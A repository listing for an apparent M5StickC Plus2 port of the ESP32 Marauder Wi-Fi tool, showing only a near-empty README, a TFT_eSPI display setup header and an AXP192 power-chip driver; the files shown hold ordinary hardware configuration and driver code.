├── README.md
├── User_Setup.h
└── esp32_marauderm5stickcplus2
├── AXP192.cpp
├── AXP192.h
├── Assets.h
├── BatteryInterface.cpp
├── BatteryInterface.h
├── Buffer.cpp
├── Buffer.h
├── CommandLine.cpp
├── CommandLine.h
├── Display.cpp
├── Display.h
├── EvilPortal.cpp
├── EvilPortal.h
├── GpsInterface.cpp
├── GpsInterface.h
├── LedInterface.cpp
├── LedInterface.h
├── MenuFunctions.cpp
├── MenuFunctions.h
├── SDInterface.cpp
├── SDInterface.h
├── WiFiScan.cpp
├── WiFiScan.h
├── configs.h
├── data
├── marauder3L.jpg
├── marauder3L1.jpg
└── marauder_mini.jpg
├── esp32_marauderm5stickcplus2.ino
├── esp32_marauderm5stickcplus2.ino.m5stack_stickc_plus2.bin
├── flipperLED.cpp
├── flipperLED.h
├── lang_var.h
├── settings.cpp
├── settings.h
├── stickcLED.cpp
├── stickcLED.h
├── xiaoLED.cpp
└── xiaoLED.h
/README.md:
--------------------------------------------------------------------------------
1 | # ESMP32-Marauder-Plus2
2 | Marauder beta version for M5Stickc Plus2
3 |
4 | Libs used for proper compilation in Arduino 1.8.19 :
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/User_Setup.h:
--------------------------------------------------------------------------------
1 | // USER DEFINED SETTINGS
2 | // Set driver type, fonts to be loaded, pins used and SPI control method etc
3 | //
4 | // See the User_Setup_Select.h file if you wish to be able to define multiple
5 | // setups and then easily select which setup file is used by the compiler.
6 | //
7 | // If this file is edited correctly then all the library example sketches should
8 | // run without the need to make any more changes for a particular hardware setup!
9 | // Note that some sketches are designed for a particular TFT pixel width/height
10 |
11 | // User defined information reported by "Read_User_Setup" test & diagnostics example
12 | #define USER_SETUP_INFO "User_Setup"
13 |
14 | // Define to disable all #warnings in library (can be put in User_Setup_Select.h)
15 | //#define DISABLE_ALL_LIBRARY_WARNINGS
16 |
17 | // ##################################################################################
18 | //
19 | // Section 1. Call up the right driver file and any options for it
20 | //
21 | // ##################################################################################
22 |
23 | // Define STM32 to invoke optimised processor support (only for STM32)
24 | //#define STM32
25 |
26 | // Defining the STM32 board allows the library to optimise the performance
27 | // for UNO compatible "MCUfriend" style shields
28 | //#define NUCLEO_64_TFT
29 | //#define NUCLEO_144_TFT
30 |
31 | // STM32 8 bit parallel only:
32 | // If STN32 Port A or B pins 0-7 are used for 8 bit parallel data bus bits 0-7
33 | // then this will improve rendering performance by a factor of ~8x
34 | //#define STM_PORTA_DATA_BUS
35 | //#define STM_PORTB_DATA_BUS
36 |
37 | // Tell the library to use parallel mode (otherwise SPI is assumed)
38 | //#define TFT_PARALLEL_8_BIT
39 | //#defined TFT_PARALLEL_16_BIT // **** 16 bit parallel ONLY for RP2040 processor ****
40 |
41 | // Display type - only define if RPi display
42 | //#define RPI_DISPLAY_TYPE // 20MHz maximum SPI
43 |
44 | // Only define one driver, the other ones must be commented out
45 | //#define ILI9341_DRIVER // Generic driver for common displays
46 | //#define ILI9341_2_DRIVER // Alternative ILI9341 driver, see https://github.com/Bodmer/TFT_eSPI/issues/1172
47 | //#define ST7735_DRIVER // Define additional parameters below for this display
48 | //#define ILI9163_DRIVER // Define additional parameters below for this display
49 | //#define S6D02A1_DRIVER
50 | //#define RPI_ILI9486_DRIVER // 20MHz maximum SPI
51 | //#define HX8357D_DRIVER
52 | //#define ILI9481_DRIVER
53 | //#define ILI9486_DRIVER
54 | //#define ILI9488_DRIVER // WARNING: Do not connect ILI9488 display SDO to MISO if other devices share the SPI bus (TFT SDO does NOT tristate when CS is high)
55 | //#define ST7789_DRIVER // Full configuration option, define additional parameters below for this display
56 | #define ST7789_2_DRIVER // Minimal configuration option, define additional parameters below for this display
57 | //#define R61581_DRIVER
58 | //#define RM68140_DRIVER
59 | //#define ST7796_DRIVER
60 | //#define SSD1351_DRIVER
61 | //#define SSD1963_480_DRIVER
62 | //#define SSD1963_800_DRIVER
63 | //#define SSD1963_800ALT_DRIVER
64 | //#define ILI9225_DRIVER
65 | //#define GC9A01_DRIVER
66 |
67 | // Some displays support SPI reads via the MISO pin, other displays have a single
68 | // bi-directional SDA pin and the library will try to read this via the MOSI line.
69 | // To use the SDA line for reading data from the TFT uncomment the following line:
70 |
71 | // #define TFT_SDA_READ // This option is for ESP32 ONLY, tested with ST7789 and GC9A01 display only
72 |
73 | // For ST7735, ST7789 and ILI9341 ONLY, define the colour order IF the blue and red are swapped on your display
74 | // Try ONE option at a time to find the correct colour order for your display
75 |
76 | // #define TFT_RGB_ORDER TFT_RGB // Colour order Red-Green-Blue
77 | // #define TFT_RGB_ORDER TFT_BGR // Colour order Blue-Green-Red
78 |
79 | // For M5Stack ESP32 module with integrated ILI9341 display ONLY, remove // in line below
80 |
81 | // #define M5STACK
82 |
83 | // For ST7789, ST7735, ILI9163 and GC9A01 ONLY, define the pixel width and height in portrait orientation
84 | // #define TFT_WIDTH 80
85 | #define TFT_WIDTH 135
86 | // #define TFT_WIDTH 172 // ST7789 172 x 320
87 | // #define TFT_WIDTH 170 // ST7789 170 x 320
88 | // #define TFT_WIDTH 240 // ST7789 240 x 240 and 240 x 320
89 | // #define TFT_HEIGHT 160
90 | // #define TFT_HEIGHT 128
91 | #define TFT_HEIGHT 240 // ST7789 240 x 240
92 | // #define TFT_HEIGHT 320 // ST7789 240 x 320
93 | // #define TFT_HEIGHT 240 // GC9A01 240 x 240
94 |
95 | // For ST7735 ONLY, define the type of display, originally this was based on the
96 | // colour of the tab on the screen protector film but this is not always true, so try
97 | // out the different options below if the screen does not display graphics correctly,
98 | // e.g. colours wrong, mirror images, or stray pixels at the edges.
99 | // Comment out ALL BUT ONE of these options for a ST7735 display driver, save this
100 | // this User_Setup file, then rebuild and upload the sketch to the board again:
101 |
102 | // #define ST7735_INITB
103 | // #define ST7735_GREENTAB
104 | // #define ST7735_GREENTAB2
105 | // #define ST7735_GREENTAB3
106 | // #define ST7735_GREENTAB128 // For 128 x 128 display
107 | // #define ST7735_GREENTAB160x80 // For 160 x 80 display (BGR, inverted, 26 offset)
108 | // #define ST7735_ROBOTLCD // For some RobotLCD arduino shields (128x160, BGR, https://docs.arduino.cc/retired/getting-started-guides/TFT)
109 | // #define ST7735_REDTAB
110 | // #define ST7735_BLACKTAB
111 | // #define ST7735_REDTAB160x80 // For 160 x 80 display with 24 pixel offset
112 |
113 | // If colours are inverted (white shows as black) then uncomment one of the next
114 | // 2 lines try both options, one of the options should correct the inversion.
115 |
116 | //#define TFT_INVERSION_ON
117 | // #define TFT_INVERSION_OFF
118 |
119 |
120 | // ##################################################################################
121 | //
122 | // Section 2. Define the pins that are used to interface with the display here
123 | //
124 | // ##################################################################################
125 |
126 | // If a backlight control signal is available then define the TFT_BL pin in Section 2
127 | // below. The backlight will be turned ON when tft.begin() is called, but the library
128 | // needs to know if the LEDs are ON with the pin HIGH or LOW. If the LEDs are to be
129 | // driven with a PWM signal or turned OFF/ON then this must be handled by the user
130 | // sketch. e.g. with digitalWrite(TFT_BL, LOW);
131 |
132 | // #define TFT_BL 32 // LED back-light control pin
133 | // #define TFT_BACKLIGHT_ON HIGH // Level to turn ON back-light (HIGH or LOW)
134 |
135 |
136 |
137 | // We must use hardware SPI, a minimum of 3 GPIO pins is needed.
138 | // Typical setup for ESP8266 NodeMCU ESP-12 is :
139 | //
140 | // Display SDO/MISO to NodeMCU pin D6 (or leave disconnected if not reading TFT)
141 | // Display LED to NodeMCU pin VIN (or 5V, see below)
142 | // Display SCK to NodeMCU pin D5
143 | // Display SDI/MOSI to NodeMCU pin D7
144 | // Display DC (RS/AO)to NodeMCU pin D3
145 | // Display RESET to NodeMCU pin D4 (or RST, see below)
146 | // Display CS to NodeMCU pin D8 (or GND, see below)
147 | // Display GND to NodeMCU pin GND (0V)
148 | // Display VCC to NodeMCU 5V or 3.3V
149 | //
150 | // The TFT RESET pin can be connected to the NodeMCU RST pin or 3.3V to free up a control pin
151 | //
152 | // The DC (Data Command) pin may be labelled AO or RS (Register Select)
153 | //
154 | // With some displays such as the ILI9341 the TFT CS pin can be connected to GND if no more
155 | // SPI devices (e.g. an SD Card) are connected, in this case comment out the #define TFT_CS
156 | // line below so it is NOT defined. Other displays such at the ST7735 require the TFT CS pin
157 | // to be toggled during setup, so in these cases the TFT_CS line must be defined and connected.
158 | //
159 | // The NodeMCU D0 pin can be used for RST
160 | //
161 | //
162 | // Note: only some versions of the NodeMCU provide the USB 5V on the VIN pin
163 | // If 5V is not available at a pin you can use 3.3V but backlight brightness
164 | // will be lower.
165 |
166 |
167 | // ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP8266 SETUP ######
168 |
169 | // For NodeMCU - use pin numbers in the form PIN_Dx where Dx is the NodeMCU pin designation
170 | //#define TFT_MISO PIN_D6 // Automatically assigned with ESP8266 if not defined
171 | //#define TFT_MOSI PIN_D7 // Automatically assigned with ESP8266 if not defined
172 | //#define TFT_SCLK PIN_D5 // Automatically assigned with ESP8266 if not defined
173 |
174 | //#define TFT_CS PIN_D8 // Chip select control pin D8
175 | //#define TFT_DC PIN_D3 // Data Command control pin
176 | //#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
177 | //#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
178 |
179 |
180 | //#define TFT_BL PIN_D1 // LED back-light (only for ST7789 with backlight control pin)
181 |
182 | //#define TOUCH_CS PIN_D2 // Chip select pin (T_CS) of touch screen
183 |
184 | //#define TFT_WR PIN_D2 // Write strobe for modified Raspberry Pi TFT only
185 |
186 |
187 | // ###### FOR ESP8266 OVERLAP MODE EDIT THE PIN NUMBERS IN THE FOLLOWING LINES ######
188 |
189 | // Overlap mode shares the ESP8266 FLASH SPI bus with the TFT so has a performance impact
190 | // but saves pins for other functions. It is best not to connect MISO as some displays
191 | // do not tristate that line when chip select is high!
192 | // Note: Only one SPI device can share the FLASH SPI lines, so a SPI touch controller
193 | // cannot be connected as well to the same SPI signals.
194 | // On NodeMCU 1.0 SD0=MISO, SD1=MOSI, CLK=SCLK to connect to TFT in overlap mode
195 | // On NodeMCU V3 S0 =MISO, S1 =MOSI, S2 =SCLK
196 | // In ESP8266 overlap mode the following must be defined
197 |
198 | //#define TFT_SPI_OVERLAP
199 |
200 | // In ESP8266 overlap mode the TFT chip select MUST connect to pin D3
201 | //#define TFT_CS PIN_D3
202 | //#define TFT_DC PIN_D5 // Data Command control pin
203 | //#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
204 | //#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
205 |
206 |
207 | // ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP32 SETUP ######
208 |
209 | // For ESP32 Dev board (only tested with ILI9341 display)
210 | // The hardware SPI can be mapped to any pins
211 |
212 | //#define TFT_MISO 19
213 | //#define TFT_MOSI 23
214 | //#define TFT_SCLK 18
215 | //#define TFT_CS 15 // Chip select control pin
216 | //#define TFT_DC 2 // Data Command control pin
217 | //#define TFT_RST 4 // Reset pin (could connect to RST pin)
218 | //#define TFT_RST -1 // Set TFT_RST to -1 if display RESET is connected to ESP32 board RST
219 |
220 | // For ESP32 Dev board (only tested with GC9A01 display)
221 | // The hardware SPI can be mapped to any pins
222 |
223 | //#define TFT_MOSI 15 // In some display driver board, it might be written as "SDA" and so on.
224 | //#define TFT_SCLK 14
225 | //#define TFT_CS 5 // Chip select control pin
226 | //#define TFT_DC 27 // Data Command control pin
227 | //#define TFT_RST 33 // Reset pin (could connect to Arduino RESET pin)
228 | //#define TFT_BL 22 // LED back-light
229 |
230 | #define TOUCH_CS -1 // Chip select pin (T_CS) of touch screen
231 |
232 | //#define TFT_WR 22 // Write strobe for modified Raspberry Pi TFT only
233 |
234 | // For the M5Stack module use these #define lines
235 | //#define TFT_MISO 19
236 | #define TFT_MOSI 15
237 | #define TFT_SCLK 13
238 | #define TFT_CS 5 // Chip select control pin
239 | #define TFT_DC 14 // Data Command control pin
240 | #define TFT_RST 12 // Reset pin (could connect to Arduino RESET pin)
241 | #define TFT_BL 27 // LED back-light (required for M5Stack)
242 |
243 | // ###### EDIT THE PINs BELOW TO SUIT YOUR ESP32 PARALLEL TFT SETUP ######
244 |
245 | // The library supports 8 bit parallel TFTs with the ESP32, the pin
246 | // selection below is compatible with ESP32 boards in UNO format.
247 | // Wemos D32 boards need to be modified, see diagram in Tools folder.
248 | // Only ILI9481 and ILI9341 based displays have been tested!
249 |
250 | // Parallel bus is only supported for the STM32 and ESP32
251 | // Example below is for ESP32 Parallel interface with UNO displays
252 |
253 | // Tell the library to use 8 bit parallel mode (otherwise SPI is assumed)
254 | //#define TFT_PARALLEL_8_BIT
255 |
256 | // The ESP32 and TFT the pins used for testing are:
257 | //#define TFT_CS 33 // Chip select control pin (library pulls permanently low
258 | //#define TFT_DC 15 // Data Command control pin - must use a pin in the range 0-31
259 | //#define TFT_RST 32 // Reset pin, toggles on startup
260 |
261 | //#define TFT_WR 4 // Write strobe control pin - must use a pin in the range 0-31
262 | //#define TFT_RD 2 // Read strobe control pin
263 |
264 | //#define TFT_D0 12 // Must use pins in the range 0-31 for the data bus
265 | //#define TFT_D1 13 // so a single register write sets/clears all bits.
266 | //#define TFT_D2 26 // Pins can be randomly assigned, this does not affect
267 | //#define TFT_D3 25 // TFT screen update performance.
268 | //#define TFT_D4 17
269 | //#define TFT_D5 16
270 | //#define TFT_D6 27
271 | //#define TFT_D7 14
272 |
273 | // ###### EDIT THE PINs BELOW TO SUIT YOUR STM32 SPI TFT SETUP ######
274 |
275 | // The TFT can be connected to SPI port 1 or 2
276 | //#define TFT_SPI_PORT 1 // SPI port 1 maximum clock rate is 55MHz
277 | //#define TFT_MOSI PA7
278 | //#define TFT_MISO PA6
279 | //#define TFT_SCLK PA5
280 |
281 | //#define TFT_SPI_PORT 2 // SPI port 2 maximum clock rate is 27MHz
282 | //#define TFT_MOSI PB15
283 | //#define TFT_MISO PB14
284 | //#define TFT_SCLK PB13
285 |
286 | // Can use Ardiuno pin references, arbitrary allocation, TFT_eSPI controls chip select
287 | //#define TFT_CS D5 // Chip select control pin to TFT CS
288 | //#define TFT_DC D6 // Data Command control pin to TFT DC (may be labelled RS = Register Select)
289 | //#define TFT_RST D7 // Reset pin to TFT RST (or RESET)
290 | // OR alternatively, we can use STM32 port reference names PXnn
291 | //#define TFT_CS PE11 // Nucleo-F767ZI equivalent of D5
292 | //#define TFT_DC PE9 // Nucleo-F767ZI equivalent of D6
293 | //#define TFT_RST PF13 // Nucleo-F767ZI equivalent of D7
294 |
295 | //#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to processor reset
296 | // Use an Arduino pin for initial testing as connecting to processor reset
297 | // may not work (pulse too short at power up?)
298 |
299 | // ##################################################################################
300 | //
301 | // Section 3. Define the fonts that are to be used here
302 | //
303 | // ##################################################################################
304 |
305 | // Comment out the #defines below with // to stop that font being loaded
306 | // The ESP8366 and ESP32 have plenty of memory so commenting out fonts is not
307 | // normally necessary. If all fonts are loaded the extra FLASH space required is
308 | // about 17Kbytes. To save FLASH space only enable the fonts you need!
309 |
310 | #define LOAD_GLCD // Font 1. Original Adafruit 8 pixel font needs ~1820 bytes in FLASH
311 | #define LOAD_FONT2 // Font 2. Small 16 pixel high font, needs ~3534 bytes in FLASH, 96 characters
312 | #define LOAD_FONT4 // Font 4. Medium 26 pixel high font, needs ~5848 bytes in FLASH, 96 characters
313 | #define LOAD_FONT6 // Font 6. Large 48 pixel font, needs ~2666 bytes in FLASH, only characters 1234567890:-.apm
314 | #define LOAD_FONT7 // Font 7. 7 segment 48 pixel font, needs ~2438 bytes in FLASH, only characters 1234567890:-.
315 | #define LOAD_FONT8 // Font 8. Large 75 pixel font needs ~3256 bytes in FLASH, only characters 1234567890:-.
316 | //#define LOAD_FONT8N // Font 8. Alternative to Font 8 above, slightly narrower, so 3 digits fit a 160 pixel TFT
317 | #define LOAD_GFXFF // FreeFonts. Include access to the 48 Adafruit_GFX free fonts FF1 to FF48 and custom fonts
318 |
319 | // Comment out the #define below to stop the SPIFFS filing system and smooth font code being loaded
320 | // this will save ~20kbytes of FLASH
321 | #define SMOOTH_FONT
322 |
323 |
324 | // ##################################################################################
325 | //
326 | // Section 4. Other options
327 | //
328 | // ##################################################################################
329 |
330 | // For RP2040 processor and SPI displays, uncomment the following line to use the PIO interface.
331 | //#define RP2040_PIO_SPI // Leave commented out to use standard RP2040 SPI port interface
332 |
333 | // For RP2040 processor and 8 or 16 bit parallel displays:
334 | // The parallel interface write cycle period is derived from a division of the CPU clock
335 | // speed so scales with the processor clock. This means that the divider ratio may need
336 | // to be increased when overclocking. It may also need to be adjusted dependant on the
337 | // display controller type (ILI94341, HX8357C etc). If RP2040_PIO_CLK_DIV is not defined
338 | // the library will set default values which may not suit your display.
339 | // The display controller data sheet will specify the minimum write cycle period. The
340 | // controllers often work reliably for shorter periods, however if the period is too short
341 | // the display may not initialise or graphics will become corrupted.
342 | // PIO write cycle frequency = (CPU clock/(4 * RP2040_PIO_CLK_DIV))
343 | //#define RP2040_PIO_CLK_DIV 1 // 32ns write cycle at 125MHz CPU clock
344 | //#define RP2040_PIO_CLK_DIV 2 // 64ns write cycle at 125MHz CPU clock
345 | //#define RP2040_PIO_CLK_DIV 3 // 96ns write cycle at 125MHz CPU clock
346 |
347 | // For the RP2040 processor define the SPI port channel used (default 0 if undefined)
348 | //#define TFT_SPI_PORT 1 // Set to 0 if SPI0 pins are used, or 1 if spi1 pins used
349 |
350 | // For the STM32 processor define the SPI port channel used (default 1 if undefined)
351 | //#define TFT_SPI_PORT 2 // Set to 1 for SPI port 1, or 2 for SPI port 2
352 |
353 | // Define the SPI clock frequency, this affects the graphics rendering speed. Too
354 | // fast and the TFT driver will not keep up and display corruption appears.
355 | // With an ILI9341 display 40MHz works OK, 80MHz sometimes fails
356 | // With a ST7735 display more than 27MHz may not work (spurious pixels and lines)
357 | // With an ILI9163 display 27 MHz works OK.
358 |
359 | // #define SPI_FREQUENCY 1000000
360 | // #define SPI_FREQUENCY 5000000
361 | // #define SPI_FREQUENCY 10000000
362 | // #define SPI_FREQUENCY 20000000
363 | // #define SPI_FREQUENCY 27000000
364 | #define SPI_FREQUENCY 40000000
365 | // #define SPI_FREQUENCY 55000000 // STM32 SPI1 only (SPI2 maximum is 27MHz)
366 | // #define SPI_FREQUENCY 80000000
367 |
368 | // Optional reduced SPI frequency for reading TFT
369 | #define SPI_READ_FREQUENCY 20000000
370 |
371 | // The XPT2046 requires a lower SPI clock rate of 2.5MHz so we define that here:
372 | #define SPI_TOUCH_FREQUENCY 2500000
373 |
374 | // The ESP32 has 2 free SPI ports i.e. VSPI and HSPI, the VSPI is the default.
375 | // If the VSPI port is in use and pins are not accessible (e.g. TTGO T-Beam)
376 | // then uncomment the following line:
377 | //#define USE_HSPI_PORT
378 |
379 | // Comment out the following #define if "SPI Transactions" do not need to be
380 | // supported. When commented out the code size will be smaller and sketches will
381 | // run slightly faster, so leave it commented out unless you need it!
382 |
383 | // Transaction support is needed to work with SD library but not needed with TFT_SdFat
384 | // Transaction support is required if other SPI devices are connected.
385 |
386 | // Transactions are automatically enabled by the library for an ESP32 (to use HAL mutex)
387 | // so changing it here has no effect
388 |
389 | //#define SUPPORT_TRANSACTIONS
390 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/AXP192.cpp:
--------------------------------------------------------------------------------
1 | #include "AXP192.h"
2 |
3 | AXP192::AXP192() {
4 | }
5 |
6 | void AXP192::begin(void) {
7 | Wire1.begin(21, 22);
8 | Wire1.setClock(400000);
9 |
10 | // Set LDO2 & LDO3(TFT_LED & TFT) 3.0V
11 | Write1Byte(0x28, 0xcc);
12 |
13 | // Set ADC to All Enable
14 | Write1Byte(0x82, 0xff);
15 |
16 | // Bat charge voltage to 4.2, Current 100MA
17 | Write1Byte(0x33, 0xc0);
18 |
19 | // Enable Bat,ACIN,VBUS,APS adc
20 | Write1Byte(0x82, 0xff);
21 |
22 | // Enable Ext, LDO2, LDO3, DCDC1
23 | Write1Byte(0x12, Read8bit(0x12) | 0x4D);
24 |
25 | // 128ms power on, 4s power off
26 | Write1Byte(0x36, 0x0C);
27 |
28 | // Set RTC voltage to 3.3V
29 | Write1Byte(0x91, 0xF0);
30 |
31 | // Set GPIO0 to LDO
32 | Write1Byte(0x90, 0x02);
33 |
34 | // Disable vbus hold limit
35 | Write1Byte(0x30, 0x80);
36 |
37 | // Set temperature protection
38 | Write1Byte(0x39, 0xfc);
39 |
40 | // Enable RTC BAT charge
41 | Write1Byte(0x35, 0xa2);
42 |
43 | // Enable bat detection
44 | Write1Byte(0x32, 0x46);
45 |
46 | // ScreenBreath(80);
47 | }
48 |
49 | void AXP192::Write1Byte(uint8_t Addr, uint8_t Data) {
50 | Wire1.beginTransmission(0x34);
51 | Wire1.write(Addr);
52 | Wire1.write(Data);
53 | Wire1.endTransmission();
54 | }
55 |
56 | uint8_t AXP192::Read8bit(uint8_t Addr) {
57 | Wire1.beginTransmission(0x34);
58 | Wire1.write(Addr);
59 | Wire1.endTransmission();
60 | Wire1.requestFrom(0x34, 1);
61 | return Wire1.read();
62 | }
63 |
64 | uint16_t AXP192::Read12Bit(uint8_t Addr) {
65 | uint16_t Data = 0;
66 | uint8_t buf[2];
67 | ReadBuff(Addr, 2, buf);
68 | Data = ((buf[0] << 4) + buf[1]); //
69 | return Data;
70 | }
71 |
72 | uint16_t AXP192::Read13Bit(uint8_t Addr) {
73 | uint16_t Data = 0;
74 | uint8_t buf[2];
75 | ReadBuff(Addr, 2, buf);
76 | Data = ((buf[0] << 5) + buf[1]); //
77 | return Data;
78 | }
79 |
80 | uint16_t AXP192::Read16bit(uint8_t Addr) {
81 | uint16_t ReData = 0;
82 | Wire1.beginTransmission(0x34);
83 | Wire1.write(Addr);
84 | Wire1.endTransmission();
85 | Wire1.requestFrom(0x34, 2);
86 | for (int i = 0; i < 2; i++) {
87 | ReData <<= 8;
88 | ReData |= Wire1.read();
89 | }
90 | return ReData;
91 | }
92 |
93 | uint32_t AXP192::Read24bit(uint8_t Addr) {
94 | uint32_t ReData = 0;
95 | Wire1.beginTransmission(0x34);
96 | Wire1.write(Addr);
97 | Wire1.endTransmission();
98 | Wire1.requestFrom(0x34, 3);
99 | for (int i = 0; i < 3; i++) {
100 | ReData <<= 8;
101 | ReData |= Wire1.read();
102 | }
103 | return ReData;
104 | }
105 |
106 | uint32_t AXP192::Read32bit(uint8_t Addr) {
107 | uint32_t ReData = 0;
108 | Wire1.beginTransmission(0x34);
109 | Wire1.write(Addr);
110 | Wire1.endTransmission();
111 | Wire1.requestFrom(0x34, 4);
112 | for (int i = 0; i < 4; i++) {
113 | ReData <<= 8;
114 | ReData |= Wire1.read();
115 | }
116 | return ReData;
117 | }
118 |
119 | void AXP192::ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff) {
120 | Wire1.beginTransmission(0x34);
121 | Wire1.write(Addr);
122 | Wire1.endTransmission();
123 | Wire1.requestFrom(0x34, (int)Size);
124 | for (int i = 0; i < Size; i++) {
125 | *(Buff + i) = Wire1.read();
126 | }
127 | }
128 |
129 | void AXP192::ScreenBreath(int brightness) {
130 | if (brightness > 100 || brightness < 0) return;
131 | int vol = map(brightness, 0, 100, 2500, 3200);
132 | vol = (vol < 1800) ? 0 : (vol - 1800) / 100;
133 | uint8_t buf = Read8bit(0x28);
134 | Write1Byte(0x28, ((buf & 0x0f) | ((uint16_t)vol << 4)));
135 | }
136 |
137 | void AXP192::ScreenSwitch(bool state) {
138 | uint8_t brightness;
139 | if (state == false) {
140 | brightness = 0;
141 | } else if (state == true) {
142 | brightness = 12;
143 | }
144 | uint8_t buf = Read8bit(0x28);
145 | Write1Byte(0x28, ((buf & 0x0f) | (brightness << 4)));
146 | }
147 |
148 | bool AXP192::GetBatState() {
149 | if (Read8bit(0x01) | 0x20)
150 | return true;
151 | else
152 | return false;
153 | }
154 | //---------coulombcounter_from_here---------
155 | // enable: void EnableCoulombcounter(void);
156 | // disable: void DisableCOulombcounter(void);
157 | // stop: void StopCoulombcounter(void);
158 | // clear: void ClearCoulombcounter(void);
159 | // get charge data: uint32_t GetCoulombchargeData(void);
160 | // get discharge data: uint32_t GetCoulombdischargeData(void);
161 | // get coulomb val affter calculation: float GetCoulombData(void);
162 | //------------------------------------------
163 | void AXP192::EnableCoulombcounter(void) {
164 | Write1Byte(0xB8, 0x80);
165 | }
166 |
167 | void AXP192::DisableCoulombcounter(void) {
168 | Write1Byte(0xB8, 0x00);
169 | }
170 |
171 | void AXP192::StopCoulombcounter(void) {
172 | Write1Byte(0xB8, 0xC0);
173 | }
174 |
175 | void AXP192::ClearCoulombcounter(void) {
176 | Write1Byte(0xB8, 0xA0);
177 | }
178 |
179 | uint32_t AXP192::GetCoulombchargeData(void) {
180 | return Read32bit(0xB0);
181 | }
182 |
183 | uint32_t AXP192::GetCoulombdischargeData(void) {
184 | return Read32bit(0xB4);
185 | }
186 |
187 | float AXP192::GetCoulombData(void) {
188 | uint32_t coin = 0;
189 | uint32_t coout = 0;
190 |
191 | coin = GetCoulombchargeData();
192 | coout = GetCoulombdischargeData();
193 |
194 | // c = 65536 * current_LSB * (coin - coout) / 3600 / ADC rate
195 | // Adc rate can be read from 84H ,change this variable if you change the ADC
196 | // reate
197 | float ccc = 65536 * 0.5 * (int32_t)(coin - coout) / 3600.0 / 25.0;
198 |
199 | return ccc;
200 | }
201 | //----------coulomb_end_at_here----------
202 |
203 | uint16_t AXP192::GetVbatData(void) {
204 | uint16_t vbat = 0;
205 | uint8_t buf[2];
206 | ReadBuff(0x78, 2, buf);
207 | vbat = ((buf[0] << 4) + buf[1]); // V
208 | return vbat;
209 | }
210 |
211 | uint16_t AXP192::GetVinData(void) {
212 | uint16_t vin = 0;
213 | uint8_t buf[2];
214 | ReadBuff(0x56, 2, buf);
215 | vin = ((buf[0] << 4) + buf[1]); // V
216 | return vin;
217 | }
218 |
219 | uint16_t AXP192::GetIinData(void) {
220 | uint16_t iin = 0;
221 | uint8_t buf[2];
222 | ReadBuff(0x58, 2, buf);
223 | iin = ((buf[0] << 4) + buf[1]);
224 | return iin;
225 | }
226 |
227 | uint16_t AXP192::GetVusbinData(void) {
228 | uint16_t vin = 0;
229 | uint8_t buf[2];
230 | ReadBuff(0x5a, 2, buf);
231 | vin = ((buf[0] << 4) + buf[1]); // V
232 | return vin;
233 | }
234 |
235 | uint16_t AXP192::GetIusbinData(void) {
236 | uint16_t iin = 0;
237 | uint8_t buf[2];
238 | ReadBuff(0x5C, 2, buf);
239 | iin = ((buf[0] << 4) + buf[1]);
240 | return iin;
241 | }
242 |
243 | uint16_t AXP192::GetIchargeData(void) {
244 | uint16_t icharge = 0;
245 | uint8_t buf[2];
246 | ReadBuff(0x7A, 2, buf);
247 | icharge = (buf[0] << 5) + buf[1];
248 | return icharge;
249 | }
250 |
251 | uint16_t AXP192::GetIdischargeData(void) {
252 | uint16_t idischarge = 0;
253 | uint8_t buf[2];
254 | ReadBuff(0x7C, 2, buf);
255 | idischarge = (buf[0] << 5) + buf[1];
256 | return idischarge;
257 | }
258 |
259 | uint16_t AXP192::GetTempData(void) {
260 | uint16_t temp = 0;
261 | uint8_t buf[2];
262 | ReadBuff(0x5e, 2, buf);
263 | temp = ((buf[0] << 4) + buf[1]);
264 | return temp;
265 | }
266 |
267 | uint32_t AXP192::GetPowerbatData(void) {
268 | uint32_t power = 0;
269 | uint8_t buf[3];
270 | ReadBuff(0x70, 2, buf);
271 | power = (buf[0] << 16) + (buf[1] << 8) + buf[2];
272 | return power;
273 | }
274 |
275 | uint16_t AXP192::GetVapsData(void) {
276 | uint16_t vaps = 0;
277 | uint8_t buf[2];
278 | ReadBuff(0x7e, 2, buf);
279 | vaps = ((buf[0] << 4) + buf[1]);
280 | return vaps;
281 | }
282 |
283 | void AXP192::SetSleep(void) {
284 | uint8_t buf = Read8bit(0x31);
285 | buf = (1 << 3) | buf;
286 | Write1Byte(0x31, buf);
287 | Write1Byte(0x90, 0x00);
288 | Write1Byte(0x12, 0x09);
289 | // Write1Byte(0x12, 0x00);
290 | Write1Byte(0x12, Read8bit(0x12) & 0xA1); // Disable all outputs but DCDC1
291 | }
292 |
293 | uint8_t AXP192::GetWarningLeve(void) {
294 | Wire1.beginTransmission(0x34);
295 | Wire1.write(0x47);
296 | Wire1.endTransmission();
297 | Wire1.requestFrom(0x34, 1);
298 | uint8_t buf = Wire1.read();
299 | return (buf & 0x01);
300 | }
301 |
302 | // -- sleep
303 | void AXP192::DeepSleep(uint64_t time_in_us) {
304 | SetSleep();
305 |
306 | if (time_in_us > 0) {
307 | esp_sleep_enable_timer_wakeup(time_in_us);
308 | } else {
309 | esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
310 | }
311 | (time_in_us == 0) ? esp_deep_sleep_start() : esp_deep_sleep(time_in_us);
312 | }
313 |
314 | void AXP192::LightSleep(uint64_t time_in_us) {
315 | SetSleep();
316 |
317 | if (time_in_us > 0) {
318 | esp_sleep_enable_timer_wakeup(time_in_us);
319 | } else {
320 | esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
321 | }
322 | esp_light_sleep_start();
323 | }
324 |
325 | // 0 not press, 0x01 long press, 0x02 press
326 | uint8_t AXP192::GetBtnPress() {
327 | uint8_t state = Read8bit(0x46);
328 | if (state) {
329 | Write1Byte(0x46, 0x03);
330 | }
331 | return state;
332 | }
333 |
334 | uint8_t AXP192::GetWarningLevel(void) {
335 | return Read8bit(0x47) & 0x01;
336 | }
337 |
